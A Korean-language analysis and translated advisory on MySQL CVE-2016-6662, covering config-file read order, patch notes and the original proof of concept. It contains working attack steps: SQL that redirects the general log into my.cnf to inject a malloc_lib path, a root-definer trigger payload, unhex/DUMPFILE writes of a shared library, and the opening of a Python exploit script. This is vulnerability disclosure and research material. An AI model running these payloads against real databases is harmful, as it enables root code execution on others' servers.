160922  0:55:11    37 Query     select "

# 0ldSQL_MySQL_RCE_exploit got here :)

[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

[abyss]
" INTO void
                   37 Query     SET global general_log = off

앞서 "수정하지 않은 PoC, 실행되지 않은 데이터베이스, 하지만 왜 공격이 가능할까?"에서 추측한 것처럼 mysqld_safe wrapper 스크립트는 자신이 이해하는 고유한 환경 변수만을 파싱하기에 로그 내용을 무시할 것이고, mysqld는 [mysqld] 섹션에서 표현된 내용이 아니기 때문에 무시하는 것으로 보인다.

그래서 다음과 같이 생각해 보았다.

[mysqld] 섹션에 위와 같은 로그 내용을 수동으로 입력하면 mysqld는 동작하지 않을 것이다.

테스트를 해보니 [mysqld] 섹션에 로그가 기록되어 있으면 mysqld가 이해하지 못하기에 서비스가 실행되지 않는다. 그 외 다른 섹션에 로그를 삽입해 테스트를 해봤을 땐 mysqld 데몬이 동작했다. 결론적으로 [mysqld] 섹션 영역만 손상 받지 않으면 서비스는 실행할 수 있다.

중복 선언, 덮어쓰기를 해도 동작하는 이유는 뭘까?

/etc/mysql/my.cnf를 로드한 후 다시 /var/lib/mysql/my.cnf를 로드해도 mysql 데이터베이스 실행에 문제가 없다. 이미 앞서 [mysqld] 섹션이 존재함에도 불구하고 그 후에 [mysqld] 섹션을 다시 선언해도 사용 가능하다. 그리고 general_log_file 변수를 활성화시켜 /var/log/mysql/mysql.log 값을 할당했음에도 취약점에 의해 general_log_file 변수를 중복 선언하고 /etc/mysql/my.cnf로 설정해 이 부분에 로그 기록을 남길 수 있었다.

이러한 것이 가능한 이유는 mysqld가 환경 변수를 파싱하는 방법에 있는데, 기존에 선언된 환경 변수를 파싱했음에도 이후에 동일한 환경 변수를 만나게 되면 덮어쓰는 형태로 구현되어 있기 때문이다.

덮어쓰기(override)가 가능하도록 제작한 이유가 뭘까 고민해보면 하나로 귀결된다. 바로 커맨드 라인에서 입력하는 파라미터 때문이다. 설정 파일에 설정이 되어 있어도 커맨드 라인에서 입력한 값을 우선으로 해야 하기에 덮어쓰기가 가능하도록 구현한 것으로 보인다.

그렇다면 또 다른 의문점으로 my.cnf를 읽어오는 순서가 있지 않을까? 가장 나중에 읽은 my.cnf에 따라 설정되지 않을까? 를 생각할 수 있다. 어떤 wrapper 스크립트를 사용하느냐에 따라 my.cnf의 위치가 다양하게 구성될 수 있기에 /etc/init.d/mysql/usr/bin/mysqld_safe에서 my.cnf를 읽는 위치를 strace를 이용하여 찾아보았다.

/etc/init.d/mysql은 다음과 같이 CONF 변수에 저장된 /etc/mysql/my.cnf를 읽고 접근하는 것을 볼 수 있다.

[...snip...]
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
read(255, "CONF=/etc/mysql/my.cnf\nMYADMIN=\""..., 5491) = 4832
chdir("/")                              = 0
umask(077)                              = 022
brk(0x24a6000)                          = 0x24a6000
brk(0x24a7000)                          = 0x24a7000
brk(0x24a8000)                          = 0x24a8000
brk(0x24a9000)                          = 0x24a9000
brk(0x24aa000)                          = 0x24aa000
faccessat(AT_FDCWD, "/etc/mysql/my.cnf", R_OK) = 0
brk(0x24ab000)                          = 0x24ab000
[...snip...]

/usr/bin/mysqld_safe는 다음과 같이 /usr/my.cnf/var/lib/mysql/my.cnf를 찾고 읽으려 하지만, 파일이 없기 때문에 실패한 내용을 보여주고 있다.

[...snip...]
stat("/usr/var/mysql", 0x7ffe8069e4d0)  = -1 ENOENT (No such file or directory)
faccessat(AT_FDCWD, "/usr/my.cnf", R_OK) = -1 ENOENT (No such file or directory)
faccessat(AT_FDCWD, "/var/lib/mysql/my.cnf", R_OK) = -1 ENOENT (No such file or directory)
geteuid() 
[...snip...]

결론적으로 기본 설정으로 운영할 경우 my.cnf를 읽는 순서는

  1. /etc/mysql/my.cnf
  2. /usr/my.cnf
  3. /var/lib/mysql/my.cnf

이며, 가장 나중에 읽는 /var/lib/mysql/my.cnf가 앞서 읽은 모든 my.cnf를 덮어쓸 수 있다.

/etc/mysql/my.cnf 소유자가 root인데 어떻게 mysql이 읽을 수 있을까?

중복 선언, 덮어쓰기를 해도 동작하는 이유는 뭘까? 에서 볼 수 있듯이 /etc/mysql/my.cnf를 사용하는 곳은 /etc/init.d/mysql이다. 이 파일은 일방적으로 서비스를 실행할 때 사용하는 파일로 기본 소유자가 root이다. /etc/init.d/mysql이 root로 실행하면서 root 소유자로 설정되어 있는 /etc/mysql/my.cnf를 읽고 사용한 후 mysql 권한으로 /var/bin/mysqld_safe를 실행하기 때문이다.

이러한 이유로 /etc/mysql/my.cnf가 root로 유지되고 있을 경우 mysql 소유자으로 실행된 mysqld는 /etc/mysql/my.cnf를 수정하거나 변경할 수 없다. 다시 말해서 SQLi로 들어오는 쿼리는 mysqld 소유자를 따라가고, SQLi로 작성된 파일 또한 mysqld 소유자를 따라간다. 로그 기록 또한 [mysqld] 섹션에 포함되는 항목이기에 mysqld의 권한으로 움직인다. (/var/log/mysql의 로그들은 모두 소유자가 mysql이다.)

그래서 CVE-2016-6662를 테스트할 때 /etc/mysql/my.cnf의 소유자를 mysql로 수정한 것이다.

공격이 성공했을 때 mysql.log에는 어떤 기록이 남을까?

my.cnf 파일의 general_log_filegeneral_log 기능을 활성화시켜서 다양한 로그 정보를 수집하도록 구성한 후 로그를 살펴보면 다음과 같다.

mysql.log 내용

160921 18:41:52    37 Connect   attacker@192.168.0.140 on pocdb
                   37 Query     SET NAMES 'utf8' COLLATE 'utf8_general_ci'
                   37 Query     SET @@session.autocommit = OFF
                   37 Query     SHOW GRANTS
                   37 Query     SELECT unhex("5459504......") INTO DUMPFILE '/var/lib/mysql/pocdb/poctable.TRG'
                   37 Query     SELECT unhex("7f454c46.....") INTO DUMPFILE '/var/lib/mysql/mysql_hookandroot_lib.so'
		   37 Query     CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'
		   37 Query     INSERT INTO `poctable` VALUES('execute the trigger!')
		   37 Query     SET global general_log_file='/etc/mysql/my.cnf'

unhex를 이용하여 두 개의 파일을 헥사 값으로 바로 받은 후 INTO DUMPFILE로 특정 위치에 헥사 값 그대로 파일을 생성한다. SET global general_log_file='/etc/mysql/my.cnf'가 실행되기 때문에 이 쿼리가 실행된 후에 입력되는 쿼리에 따른 로그는 /etc/mysql/my.cnf에 기록된다.


정리

우분투 14.04 시스템에서 sudo apt-get install mysql-server로 설치한 MySQL 데이터베이스에서 CVE-2016-6662 취약점을 사용하려면 다음과 같은 문제를 모두 해결해야한다.

  1. /etc/mysql/my.cnf의 소유자를 MySQL로 변경
  2. 소유자를 MySQL로 변경했다 하여도 Apparmor에 의해 보호받는다.
  3. 공격자는 Apparmor에 의해 보호받지 않으면서도 my.cnf를 가장 나중에 읽는 /var/lib/mysql/ 디렉터리를 공략할 수 있다. => CVE-2016-6663
    • 기본 mysqld_safe의 --datadir 파라미터의 경로는 /var/lib/mysql/이기 때문이다.
  4. 하지만 CVE-2016-6662에서는 3번이 불가능하다.
    • /var/lib/mysql/ 디렉터리에는 기본으로 my.cnf가 없다.
    • my.cnf 파싱에서는 섹션 형태로 시작하지 않으면 파싱하지 않는다.
    • 공격 성공한 후 my.cnf가 생성되면 my.cnf의 서두에는 섹션 형태로 작성되어 있지 않다. (로그이기 때문에)
  5. 따라서 CVE-2016-6662는 /var/lib/mysql/ 경로의 my.cnf를 생성과 수정할 순 있지만 취약점으로 연결되지 않는다.

그렇다면 MySQL 데이터베이스 기반으로 만들어진 MariaDB와 PerconaDB도 이와 같은 문제를 가질까. PerconaDB는 테스트하지 않았지만 MariaDB는 my.cnf의 소유자가 MySQL이라면 아무런 제약 없이 /etc/mysql/my.cnf에 악의적인 설정을 주입할 수 있다. 그 이유는 다음과 같다.

  1. sudo apt-get install mariadb-server 로 설치하면 기본으로 Apparmor에 의해 보호받지 않는다.
  2. /etc/init/mysql.conf가 없어 서비스는 항상 mysqld_safe와 함께 실행된다.


MySQL 패치 내용

2016년 9월 6일 MySQL 5.5.52로 릴리즈 되면서 CVE-2016-6662 취약점이 수정되었다. 일반적인 메모리 손상시키는 취약점이 아닌 구성의 결함을 이용한 취약점이기에 간단하게 다음과 같이 패치되었다.

  • mysqld_safe가 사용하는 --malloc-lib 인수는 /usr/lib, /usr/lib64, /lsr/lib/i386-linux-gnu 또는 /usr/lib/x86_64-linux-gnu 중 하나만 사용한다. 또한, --mysqld--mysqld-version 옵션은 옵션 파일이 아니라 커맨드 라인으로만 사용될 수 있다. (Bug #24464380)

--malloc-lib 인수를 사용하는 mysqld_safe는 root 권한으로 실행되니 root 권한을 가진 디렉터리만을 읽도록 수정하면 공격자가 악의적으로 설정하기에 많은 제약이 따를 수밖에 없다. --malloc-lib로 공유하는 라이브러리를 로드하는 수정된 위치는 모두 root 권한이 필요하다.

  • 옵션 파일로 해석될 수 있는 .ini 또는 .cnf로 끝나는 파일에 로그를 작성할 수 있었다. 이제 일반적인 쿼리 로그와 슬로 쿼리 로그는 더 이상 .ini.cnf로 끝나는 파일에 작성할 수 없다. (Bug #24388753)

CVE-2016-6662 취약점은 설정 파일에 로그 기록을 할 수 있다는 것이다. 따라서 설정 파일에 로그를 기록할 수 없도록 수정된 것을 확인할 수 있다. 물론 이 패치로 인해 CVE-2016-6663도 함께 패치된 것처럼 보인다.


참고 사이트


본 문서는 (주)한국정보보호교육센터 f-NGS 연구소에서 의역하고 작성한 내용입니다.
Written and Translated by hakawati in KISEC 40th


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개요

대중적으로 가장 많이 쓰고있는 MySQL이 원격에서 루트 권한으로 코드를 실행할 수 있는 취약점이 발견되었다. 종합해보면, 데이터베이스를 이용해 설정 파일을 악성코드를 실행하도록 수정할 수 있고, 악성코드 또한 데이터베이스를 통해 데이터베이스 서버의 로컬에 저장할 수 있다. 이 취약점에 대해 살펴보자.

포스팅:

번역

=============================================
- Discovered by: Dawid Golunski
- http://legalhackers.com
- dawid (at) legalhackers.com

- CVE-2016-6662
- Release date: 12.09.2016
- Last updated: 16.09.2016
- Revision: 2
- Severity: Critical
=============================================

I. VULNERABILITY

MySQL  <= 5.7.14                    원격 루트 코드 실행(Remote Root Code Execution) / 권한 상승(Privilege Escalation) (0day)
                5.6.32
                5.5.51

MySQL과 유사군인 다음 DB들도 영향을 받는다.

  • MariaDB
  • PerconaDB 

II. BACKGROUND

"MySQL은 세계에서 가장 인기 있는 오픈소스 데이터베이스다. 빠르게 성장하는 웹 특성에 따라 효과적인 비용으로 높은 성능을 제공하고 다양한 형태로 확장 가능하도록 도와주는 데이터베이스 응용프로그램이다."

"세계에서 규모가 크고 빠르게 성장하는 기업 페이스북, 구글, 어도비, Alcatel Lucent and Zappos 등 대부분이 규모가 큰 웹 사이트, 주식-증권 등 금융과 관련된 시스템, 기타 패키지 소프트웨어 등이 MySQL를 사용하여 시간과 비용을 절약하고 있다."

III. INTRODUCTION

이번 문서는 CVEID가 CVE-2016-6662인 심각한 취약점으로 원격의 공격자가 MySQL의 설정 파일(my.cnf)에 악의적인 설정을 주입하여 공격자가 의도하는 행위를 하도록 유도할 수 있다.

이 취약점은 최신 버전을 포함하여 기타 다른 버전 (5.7, 5.6 그리고 5.5)이 기본 값으로 설정되어 있으면 로컬 및 원격 공격자에 의해 침해당할 수 있다. 이 취약점은 MySQL 데이터베이스에 인증된 접근(네트워크 연결 또는 phpMyAdmin과 같은 웹 인터페이스)과 SQL 인젝션을 사용할 수 있는 공격 벡터에서 모두 사용 가능하다. 

SQL 인젝션 공격은 웹 응용프로그램의 일반적인 문제 중 하나이기에 CVE-2016-6662을 SQL 인젝션 공격으로 사용할 경우 매우 위협적일 수 있다. 공격자가 이 취약점으로 공격 성공할 수 있다면 루트 권한으로 임의의 코드를 실행시킬 수 있어 취약점에 영향받는 MySQL이 실행 중인 서버를 손상시킬 수 있다.

이 취약점에 대한 공식적인 패치는 현시점(2016.09.12)을 기준으로 오라클 MySQL 서버에도 적용되지 않은 상태이다. 또한 리눅스 배포판에서 기본 정책으로 활성화하도록 설치되는 SELinux와 AppArmor와 같은 보안 모듈에서 운영하는 MySQL 서비스에도 공격이 가능하다. 이 문서는 공격자가 어떻게 원격 루트 코드 실행을 할 수 있는지를 설명하는 PoC를 포함한다.

IV. DESCRIPTION

MySQL의 기본 패키지에는 mysqld_safe 스크립트와 같은 MySQL의 다양한 wrapper를 MySQL 서비스 프로세스 시작과 함께 살펴볼 수 있다. 예를 들어, 전체 업데이트된 데비안 시스템에서 다음과 같이 볼 수 있다.

lsb_release -a

No LSB modules are available.
Distributor ID:        Debian
Description:           Debian GNU/Linux 8.5 (jessie)
Release:               8.5
Codename:              jessie
dpkg -l | grep -i mysql-server
ii  mysql-server                        5.5.50-0+deb8u1
ii  mysql-server-5.5                    5.5.50-0+deb8u1
ii  mysql-server-core-5.5               5.5.50-0+deb8u1

그 다음 MySQL(기본 값으로 설정된 데비안 저장소에서 제공하는 패키지로 설치한) 서비스를 실행한다.

service mysql start

다른 방법으로 다음과 같이 실행할 수 있다.

/etc/init.d/mysql start

MySQL 서버 프로세스 트리는 다음과 같다.

root     14967  0.0  0.1   4340 &  1588 ?        S    06:41   0:00 /bin/sh /usr/bin/mysqld_safe

mysql    15314  1.2  4.7   558160 47736 ?        Sl   06:41   0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306

위에서 볼 수 있듯이 메인 mysqld 프로세스는 MySQL 사용자 권한으로 실행하는 반면, mysqld_safe wrapper 스크립트는 루트 권한으로 실행된다. 이 wrapper 스크립트는 다음과 같은 기능을 가진다.

[ /usr/bin/mysqld_safe ]

[...]

# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
#   then pkglibdir.  tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld.  See ld.so for details.
set_malloc_lib() {
  malloc_lib="$1"

  if [ "$malloc_lib" = tcmalloc ]; then
    pkglibdir=`get_mysql_config --variable=pkglibdir`
    malloc_lib=
    # This list is kept intentionally simple.  Simply set --malloc-lib
    # to a full path if another location is desired.
    for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
      for flavor in _minimal '' _and_profiler _debug; do
        tmp="$libdir/libtcmalloc$flavor.so"
        #log_notice "DEBUG: Checking for malloc lib '$tmp'"
        [ -r "$tmp" ] || continue
        malloc_lib="$tmp"
        break 2
      done
    done

[...]

[ eof ]

위 코드는 MySQL 서버가 시작하기 전에 공유한 라이브러리를 사전에 불러올 수 있다. 이 라이브러리는 다음과 같이 라이브러리 위치를 매개 변수를 이용하여 설정할 수 있다.

--malloc-lib=LIB

이 매개 변수는 mysql 설정 파일(my.cnf)의 '[mysqld]'나 '[mysqld_safe]' 섹션에서 지정할 수 있다. 공격자가 설정 파일에 악의적인 라이브러리 경로를 주입한 후에 MySQL 서비스가 재시작(예를 들면, 시스템 업데이트, 패키지 업데이트, 시스템 재시작 등)하면 MySQL 서버가 시작되기 전에 악의적인 라이브러리를 불러오기에 루트 권한으로 임의의 코드를 실행할 수 있다.

2003년 3.23.55 이전 MySQL 버전에서 발생한 취약점에서는 다음과 같이 간단한 문구로 MySQL 설정 파일을 생성하도록 허용되었었다.

SELECT * INFO OUTFILE '/var/lib/mysql/my.cnf'

이 문제는 OUTFILE 쿼리에 의해 성성되는 파일들이 world-writable 권한을 가지기에 이 권한을 가지는 설정 파일을 로드하지 못하도록 해결했다. 또한 기존 구성 파일을 OUTFILE/DUMPFILE 구문을 이용하여 덮어쓰는 것을 금지하도록 수정하여 추가 보호 기능을 구현했다. 이는 기존 구성 파일을 보호하기 위해서였다. 결국 이 취약점은 2003년 MySQL 3.23.55으로 릴리즈 되어 수정되어 더 이상 구성 파일을 수정할 수 없게 되었다.

그럼에도 V. PROOF OF CONCEPT 섹션에서 설명하는 MySQL 로깅 기능(MySQL 기본 설치로 사용하는)을 악용하여 앞서 언급한 덮어쓰기 제한을 성공적으로 우회할 수 있다.

1) 취약하게 설정한 권한이나 잘못 설정한 권한으로 설정한(mysql 사용자가 설정을 작성하거나 소유한 경우) MySQL 구성 파일에 악의적인 설정을 주입할 수 있다. (시나리오 1)

2) 잘못 설정한 권한과 상관없이 기본으로 설치되는 MySQL의 데이터 디렉터리에 새 구성 파일을 만들 수 있다. (기본으로 MySQL 사용자가 작성 가능한) (시나리오 2)

3) SELECT/FILE 권한만을 가진 공격자가 기본 값으로 설치된 MySQL의 로깅 기능(일반적으로 MySQL 권리자 사용자만 사용 가능)에 접근할 수 있으면 MySQL 설정 파일을 추가하거나 수정할 수 있다.

Update (16/09/2016):

일부 보안 포럼에서 제시한 문제에 대해 올바르게 이해하지 못해 취약점의 심각성을 완화하려 하는 잘못된 오해가 있음을 알게 되어 아래와 같이 PoC의 세부 사항을 세밀하게 읽어보시길 바란다.

다음을 주목해달라:

* 시나리오 1 (이하 포인트 1)과 시나리오 2 (이하 포인트 2)과 다른 내용이다. 다시 말해서, 시스템에서 사용 가능한 안전하지 않은 권한을 가진 my.cnf 설정 파일이 없다 하여도 설정 주입 취약점은 궁극적으로 임의의 악의적인 공유 라이브러리를 공격하여 로드하도록 이끌 수 있다. 즉, 공격을 위해서 취약한 권한을 요구하지 않으며, 시스템에서 기본으로 권한이 설정되어 있는 my.cnf를 사용하는 PerconaDB/MariaDB/MySQL를 공격할 수 있는 취약점이다. 시나리오 1은 기본으로 설치한(시나리오 2) 데이터베이스에 당면한 공격을 드러내지 않고 로깅을 악용하거나 설정을 주입하는 취약점을 설명할 수 있도록 아주 단순하게 악용하는 코드를 만들어 제시했다.

* 시나리오 2를 성공적으로 공격할 수 있는 것을 개인적으로 PoC를 작성하여 공개적으로 공유하지 않았다. (기본 설치/어떠한 my.cnf 설정 파일의 잘못 구성한 권한 없이) 아래 섹션뿐만 아니라 현재 PoC 공격에서 언급한 것 모두 제한된 PoC다. 기본으로 설치한 데이터베이스에 당면한 공격을 보호하고 사용자가 취약점에 대응하는 시간을 제공하기 위해 의도적으로 제한한 것이다.

* 루트 권한 상승 및 코드 실행으로 이끄는 시나리오 2 (취약한 권한을 사용하지 않는 my.cnf)의 성공적인 공격은 (별도의 취약점인) CVE-2016-6663 취약점에 의해 달성할 수 있다.(그러나 요구사항은 아니다) PoC는 이 권고안을 작성한 작성자에 의해 만들어졌지만 발표하지는 않았다.

* 로깅 기능은 SELECT/FILE 권한을 사용하는 일반 사용자가 접근할 수 있다. 다시 말해서, 관리자 권한을 가지지 못하고 로깅 기능에 공격자가 접근할 수 있다면 악성 페이로드를 포함한 악성 트리거를 생성하기 위한 최고 권한을 요구하지 않는다. 이는 아래 섹션(포인트 3에서 볼 수 있는)에 설명되어 있고, 이 권고의 PoC에 입증했으며, 또한 공격자 데이터베이스 계정 권한을 보여주는 것은 replication 단계(VI. 섹션)에서 살펴볼 수 있다. (공격자 DB 계정은 최고 권한이 할당되어 있지 않다.)

V. PROOF OF CONCEPT

1) 취약하게 설정한 권한이나 잘못 설정한 권한으로 설정한(mysql 사용자가 설정을 작성하거나 소유한 경우) MySQL 구성 파일에 악의적인 설정을 주입할 수 있다. (시나리오 1)

MySQL 설정 파일들은 mysqld_safe 스크립트가 실행될 때 지원하는 모든 위치에서 하나씩 호출하여 처리한다.

정확한 설정 위치는 MySQL 버전에 따라 다르다. 예를 들어 다음 링크(http://dev.mysql.com/doc/refman/5.5/en/option-files.html)에서 설명하는 것처럼 MySQL 5.5의 설정 위치는 다음과 같다.

/etc/my.cnf                Global options
/etc/mysql/my.cnf          Global options
SYSCONFDIR/my.cnf          Global options
$MYSQL_HOME/my.cnf         Server-specific options
defaults-extra-file        The file specified with --defaults-extra-file=file_name, if any 
~/.my.cnf                  User-specific options

서버에서 MySQL을 실행하기 위한 설정 파일은 MySQL 사용자가 소유해야한다는 일반적인 오해가 있다. 많은 설정 가이드나 보안 가이드에서 /etc/mysql 또는 /etc/my.cnf과 같은 MySQL 설정과 관련있는 디렉터리나 파일의 소유자가 MySQL 사용자가 되도록 잘못 권장한다.

예를 들어 여기(https://github.com/willfong/mariadb-backup/blob/master/README.md)에서는 다음과 같이 이야기한다.

"설정 파일에 소유와 권한을 다음과 같이 설정"

chown mysql /etc/my.cnf
chmod 600 /etc/my.cnf

이 문서(http://www.devshed.com/c/a/mysql/security-issues-with-mysql/)에서는 이와 같이 언급한다.

"/etc/my.cnf과 같이 전역 옵션 파일이 존재하는 경우 보호해야한다. MySQL 사용자는 이 파일을 읽고 쓰는 권한을 가져야하지만 다른 사용자는 오직 읽기 권한만 필요하기에 다음과 같이 설정한다."

shell> chown mysql /etc/my.cnf

그 외에 자동으로 설치되는 MySQL은 my.cnf 설정 파일에 취약한 권한을 제공한다. MySQL 설정 파일 중에 하나라도 MySQL 사용자가 소유하고 있는 경우 다음과 같이 공격자는 악의적인 설정을 주입할 수 있다.

ls -l /etc/my.cnf
-rw-r--r-- 1 mysql mysql 72 Jul 28 17:20 /etc/my.cnf
cat /etc/my.cnf

[mysqld]

key_buffer              = 16M
max_allowed_packet      = 16M

공격자는 다음과 같이 SQL 쿼리를 실행할 수 있다.

mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '> 
    '> ; injected config entry
    '> 
    '> [mysqld]
    '> malloc_lib=/tmp/mysql_exploit_lib.so
    '> 
    '> [separator]
    '> 
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

결과적으로 설정 파일에는 쿼리로 입력한 부분이 추가된다.

cat /etc/my.cnf 

[mysqld]

key_buffer              = 16M
max_allowed_packet      = 16M

/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160728 17:25:14	   40 Query	select '

; injected config entry

[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so

[separator]

'
160728 17:25:15	   40 Query	set global general_log = off

이 설정 약간의 불필요한 정보를 포함하기에 파싱 문제가 발생해 재시작할 경우 MySQL이 동작하지 않는 일반적인 원인이 될 수 있다. 하지만 중요한 것은 설정 파일에 다음과 같은 섹션을 포함한다는 것이다.


[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so

mysqld_safe는 mysqld 데몬의 시작 전에 LD_PRELOAD 환경 변수에 shared 라이브러리 경로를 읽어 추가할 수 있다. 사전에 로드된 라이브러리는 libc fopen() 호출을 후킹 하여 mysqld 데몬이 시작할 때 처리하는 설정을 정리한다.

2) 잘못 설정한 권한과 상관없이 기본으로 설치되는 MySQL의 데이터 디렉터리에 새 구성 파일을 만들 수 있다. (기본으로 MySQL 사용자가 작성 가능한) (시나리오 2)

mysqld_safe 설정 스크립트를 분석해보면 앞에서 봤던 설정 파일 경로 이외에도 MySQL의 데이터 디렉터리 (/var/lib/mysql/my.cnf)에서 설정 파일을 불러오는 것을 확인할 수 있다.

[ /usr/bin/mysqld_safe ]

[...]
# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
  DATADIR=$MY_BASEDIR_VERSION/data
  if test -z "$defaults" -a -r "$DATADIR/my.cnf"
  then
    defaults="--defaults-extra-file=$DATADIR/my.cnf"
  fi
[...]

[ eof ]

MySQL 버전 5.5와 5.6에서 사용하며, 5.7 부터는 my.cnf 경로를 위한 datadir 위치가 삭제되었지만 여전히 많은 구성이 다음 위치에서 설정을 로드한다.

/var/lib/mysql/.my.cnf

데이타 디릭터리 /var/lib/mysql은 (명백하게) mysql 사용자에 의해 작성될 수 있다.

ls -ld /var/lib/mysql/
drwx------ 4 mysql mysql 4096 Jul 28 06:41 /var/lib/mysql/

따라서 만약 mysql 사용자가 설정을 소유하지 않고 시스템에서 사용하더라도, 공격자는 취약점으로 다음과 같은 경로에 설정을 생성하고 공격할 수 있다.

/var/lib/mysql/my.cnf
/var/lib/mysql/.my.cnf

앞서 언급한 것처럼 FILE 권한을 사용할 수 있으면 SQL 구문으로 파일을 생성할 수 있다.

SELECT 'malicious config entry' INTO OUTFILE '/var/lib/mysql/my.cnf'

하지만 생성한 파일은 동작하지 않을 것이다. 그 이유는 MySQL이 world를 위해 rw 권한으로 파일을 생성하기 때문이다.

-rw-rw-rw- 1 mysql mysql 4 Jul 28 07:46 /var/lib/mysql/my.cnf

그리고 MySQL은 시작할 때 world-writable 권한을 가진 설정을 로드하는 것을 차단한다. 공격자는 이것을 우회하기 위해 로깅 SQL 구문을 이용할 수 있다.

mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
    '> 
    '> ; injected config entry
    '> 
    '> [mysqld]
    '> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
    '> 
    '> [separator]
    '> 
    '> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;

이 쿼리는 MySQL 데몬이 파싱할 때 적절한 권한(o-w 비트 없이)을 가진 my.cnf를 생성한다.

ls -l /var/lib/mysql/my.cnf
-rw-rw---- 1 mysql mysql 352 Jul 28 17:48 /var/lib/mysql/my.cnf

설정 파일은 다음 내용을 가진다.

cat /var/lib/mysql/my.cnf

/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306  Unix socket: /var/run/mysqld/mysqld.sock
Time                 Id Command    Argument
160728 17:48:22       43 Query    select '

; injected config entry

[mysqld]
malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so

[separator]

'
160728 17:48:23       43 Query    set global general_log = off

그러나 여전히 문제가 있다. MySQL은 올바른 섹션 헤더를 가지지 않을 경우 설정 파일을 거부한다.

error: Found option without preceding group in config file: /var/lib/mysql/my.cnf at line: 1
Fatal error in defaults handling. Program aborted

하지만 테스트를 통해 확인해보니 보안으로 막아놓은 부분을 우회할 수 있는 것을 확인했지만 당분간 공개하지 않을 예정이다. 주의할 필요가 있기 때문인데 공개 보류 중인 CVE-2016-6663는 공격자가 악용할 수 있기 때문이다. 이 취약점을 사용하는 공격자는 FILE 권한을 요구하지 않고 악의적인 내용을 담은 /var/lib/mysql/my.cnf 파일을 생성하거나 수정할 수 있다.

3) SELECT나 FILE 권한만을 가진 공격자가 기본 설정으로 설치된 MySQL의 로깅 기능(일반적으로 MySQL 권리자 사용자만 사용 가능)에 접근할 수 있으면 MySQL 설정 파일을 추가하거나 수정할 수 있다.

만약 공격자가 로깅 설정에 접근하기 위한 관리자 권한을 가지지 못하고 FILE 권한을 추가할 수 있는 일반 사용자 권한만을 가졌다 해도 설정 파일을 작성하거나 수정할 수 있다. 이는 악의적인 트리거 페이로드를 작성하여 기록할 수 있다.

CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `active_table` FOR EACH ROW
BEGIN
   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'

" INTO void;   
   set global general_log = off;
END;

활성화되어 사용 중인 테이블('active_table')의 트리거 파일에는 다음과 유사하게 구문을 사용한다.

SELECT '....trigger_code...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG'

이 같은 트리거는 테이블이 정리될 때 로드될 것이다. 이 지점에서 INSERT 구문을 사용할때 마다 테이블에 호출된다.

INSERT INTO `active_table` VALUES('xyz');

이 트리거의 코드는 mysql 루트 사용자 권한('definer'를 참조)으로 실행될 것이고 , 따라서 공격자는 관리자 권한이 아닌 일반 계정임에도 불구하고 general_log를 설정하도록 수정할 수 있다.

VI. PROOF OF CONCEPT - 0day 0ldSQL_MySQL_RCE_exploit.py exploit

[ 0ldSQL_MySQL_RCE_exploit.py ]

#!/usr/bin/python

# This is a limited version of the PoC exploit. It only allows appending to
# existing mysql config files with weak permissions. See V) 1) section of 
# the advisory for details on this vector. 
#
# Full PoC will be released at a later date, and will show how attackers could
# exploit the vulnerability on default installations of MySQL on systems with no
# writable my.cnf config files available.
#
# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
# for certain low-privileged attackers that do not have FILE privilege.
# 
# See full advisory for details:
# http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.txt
#
# Stay tuned ;)

intro = """
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski
http://legalhackers.com

"""

import argparse
import mysql.connector    
import binascii
import subprocess


def info(str):
    print "[+] " + str + "\n"

def errmsg(str):
    print "[!] " + str + "\n"

def shutdown(code):
    if (code==0):
        info("Exiting (code: %d)\n" % code)
    else:
        errmsg("Exiting (code: %d)\n" % code)
    exit(code)


cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait() 


# where will the library to be preloaded reside? /tmp might get emptied on reboot
# /var/lib/mysql is safer option (and mysql can definitely write in there ;)
malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'


# Main Meat

print intro

# Parse input args
parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username') 
parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
